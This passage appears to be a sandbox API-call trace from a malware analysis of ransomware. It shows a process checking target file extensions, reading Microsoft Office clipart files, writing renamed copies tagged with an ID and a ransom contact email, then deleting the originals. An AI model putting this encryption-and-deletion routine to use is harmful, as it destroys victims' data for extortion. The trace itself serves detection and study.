	[0093.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.403] lstrlenW (lpString=".pdf") returned 4
	[0093.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.403] lstrlenW (lpString=".xls") returned 4
	[0093.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.403] lstrlenW (lpString=".xlsx") returned 5
	[0093.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.403] lstrlenW (lpString=".ppt") returned 4
	[0093.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.404] lstrlenW (lpString=".zip") returned 4
	[0093.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.404] lstrlenW (lpString=".rar") returned 4
	[0093.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.404] lstrlenW (lpString=".bz2") returned 4
	[0093.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.404] lstrlenW (lpString=".7z") returned 3
	[0093.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.404] lstrlenW (lpString=".dbf") returned 4
	[0093.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.404] lstrlenW (lpString=".1cd") returned 4
	[0093.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.404] lstrlenW (lpString=".jpg") returned 4
	[0093.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.404] lstrlenW (lpString=".doc") returned 4
	[0093.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.404] lstrlenW (lpString=".docx") returned 5
	[0093.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.404] lstrlenW (lpString=".pdf") returned 4
	[0093.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.404] lstrlenW (lpString=".xls") returned 4
	[0093.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.404] lstrlenW (lpString=".xlsx") returned 5
	[0093.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.404] lstrlenW (lpString=".ppt") returned 4
	[0093.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.405] lstrlenW (lpString=".zip") returned 4
	[0093.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.405] lstrlenW (lpString=".rar") returned 4
	[0093.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.405] lstrlenW (lpString=".bz2") returned 4
	[0093.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.405] lstrlenW (lpString=".7z") returned 3
	[0093.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.405] lstrlenW (lpString=".dbf") returned 4
	[0093.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.405] lstrlenW (lpString=".1cd") returned 4
	[0093.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0093.405] lstrlenW (lpString=".jpg") returned 4
	[0093.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.405] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.405] lstrlenW (lpString="FD01196_.WMF") returned 12
	[0093.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.698] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2332) returned 1
	[0093.698] CloseHandle (hObject=0x2b8) returned 1
	[0093.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220
	[0093.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.698] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.698] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.698] GetLastError () returned 0x0
	[0093.698] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x91c, lpOverlapped=0x0) returned 1
	[0093.700] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x920, lpOverlapped=0x0) returned 1
	[0093.701] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.701] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.701] SetEndOfFile (hFile=0x300) returned 1
	[0093.701] CloseHandle (hObject=0x300) returned 1
	[0093.701] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.701] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.702] CloseHandle (hObject=0x2b8) returned 1
	[0093.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1
	[0093.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.703] lstrlenW (lpString=".doc") returned 4
	[0093.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.703] lstrlenW (lpString=".docx") returned 5
	[0093.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.703] lstrlenW (lpString=".pdf") returned 4
	[0093.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.703] lstrlenW (lpString=".xls") returned 4
	[0093.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.703] lstrlenW (lpString=".xlsx") returned 5
	[0093.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.703] lstrlenW (lpString=".ppt") returned 4
	[0093.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.703] lstrlenW (lpString=".zip") returned 4
	[0093.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.703] lstrlenW (lpString=".rar") returned 4
	[0093.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.703] lstrlenW (lpString=".bz2") returned 4
	[0093.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.703] lstrlenW (lpString=".7z") returned 3
	[0093.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.703] lstrlenW (lpString=".dbf") returned 4
	[0093.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.703] lstrlenW (lpString=".1cd") returned 4
	[0093.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.703] lstrlenW (lpString=".jpg") returned 4
	[0093.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.704] lstrlenW (lpString=".doc") returned 4
	[0093.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.704] lstrlenW (lpString=".docx") returned 5
	[0093.704] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.704] lstrlenW (lpString=".pdf") returned 4
	[0093.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.704] lstrlenW (lpString=".xls") returned 4
	[0093.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.704] lstrlenW (lpString=".xlsx") returned 5
	[0093.704] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.704] lstrlenW (lpString=".ppt") returned 4
	[0093.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.705] lstrlenW (lpString=".zip") returned 4
	[0093.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.705] lstrlenW (lpString=".rar") returned 4
	[0093.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.705] lstrlenW (lpString=".bz2") returned 4
	[0093.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.705] lstrlenW (lpString=".7z") returned 3
	[0093.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.705] lstrlenW (lpString=".dbf") returned 4
	[0093.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.705] lstrlenW (lpString=".1cd") returned 4
	[0093.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0093.705] lstrlenW (lpString=".jpg") returned 4
	[0093.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.706] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.706] lstrlenW (lpString="FD01660_.WMF") returned 12
	[0093.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.706] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=12958) returned 1
	[0093.706] CloseHandle (hObject=0x2b8) returned 1
	[0093.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220
	[0093.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.706] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.706] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.707] GetLastError () returned 0x0
	[0093.707] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x329e, lpOverlapped=0x0) returned 1
	[0093.709] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x32a0, lpOverlapped=0x0) returned 1
	[0093.710] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.710] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.710] SetEndOfFile (hFile=0x300) returned 1
	[0093.710] CloseHandle (hObject=0x300) returned 1
	[0093.714] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.714] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.715] CloseHandle (hObject=0x2b8) returned 1
	[0093.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1
	[0093.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.715] lstrlenW (lpString=".doc") returned 4
	[0093.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.715] lstrlenW (lpString=".docx") returned 5
	[0093.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.715] lstrlenW (lpString=".pdf") returned 4
	[0093.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.715] lstrlenW (lpString=".xls") returned 4
	[0093.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.715] lstrlenW (lpString=".xlsx") returned 5
	[0093.715] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.716] lstrlenW (lpString=".ppt") returned 4
	[0093.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.716] lstrlenW (lpString=".zip") returned 4
	[0093.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.716] lstrlenW (lpString=".rar") returned 4
	[0093.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.716] lstrlenW (lpString=".bz2") returned 4
	[0093.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.716] lstrlenW (lpString=".7z") returned 3
	[0093.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.716] lstrlenW (lpString=".dbf") returned 4
	[0093.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.716] lstrlenW (lpString=".1cd") returned 4
	[0093.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.716] lstrlenW (lpString=".jpg") returned 4
	[0093.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.716] lstrlenW (lpString=".doc") returned 4
	[0093.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.716] lstrlenW (lpString=".docx") returned 5
	[0093.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.716] lstrlenW (lpString=".pdf") returned 4
	[0093.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.716] lstrlenW (lpString=".xls") returned 4
	[0093.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.716] lstrlenW (lpString=".xlsx") returned 5
	[0093.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.717] lstrlenW (lpString=".ppt") returned 4
	[0093.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.717] lstrlenW (lpString=".zip") returned 4
	[0093.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.717] lstrlenW (lpString=".rar") returned 4
	[0093.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.717] lstrlenW (lpString=".bz2") returned 4
	[0093.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.717] lstrlenW (lpString=".7z") returned 3
	[0093.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.717] lstrlenW (lpString=".dbf") returned 4
	[0093.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.717] lstrlenW (lpString=".1cd") returned 4
	[0093.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0093.717] lstrlenW (lpString=".jpg") returned 4
	[0093.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.717] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.717] lstrlenW (lpString="FD02068_.WMF") returned 12
	[0093.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.718] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2488) returned 1
	[0093.718] CloseHandle (hObject=0x2b8) returned 1
	[0093.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220
	[0093.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.718] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.718] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.718] GetLastError () returned 0x0
	[0093.719] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0093.720] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0093.722] ReadFile (in: hFile=0x2b8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.722] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.722] SetEndOfFile (hFile=0x300) returned 1
	[0093.731] CloseHandle (hObject=0x300) returned 1
	[0093.731] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.731] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.732] CloseHandle (hObject=0x2b8) returned 1
	[0093.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1
	[0093.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
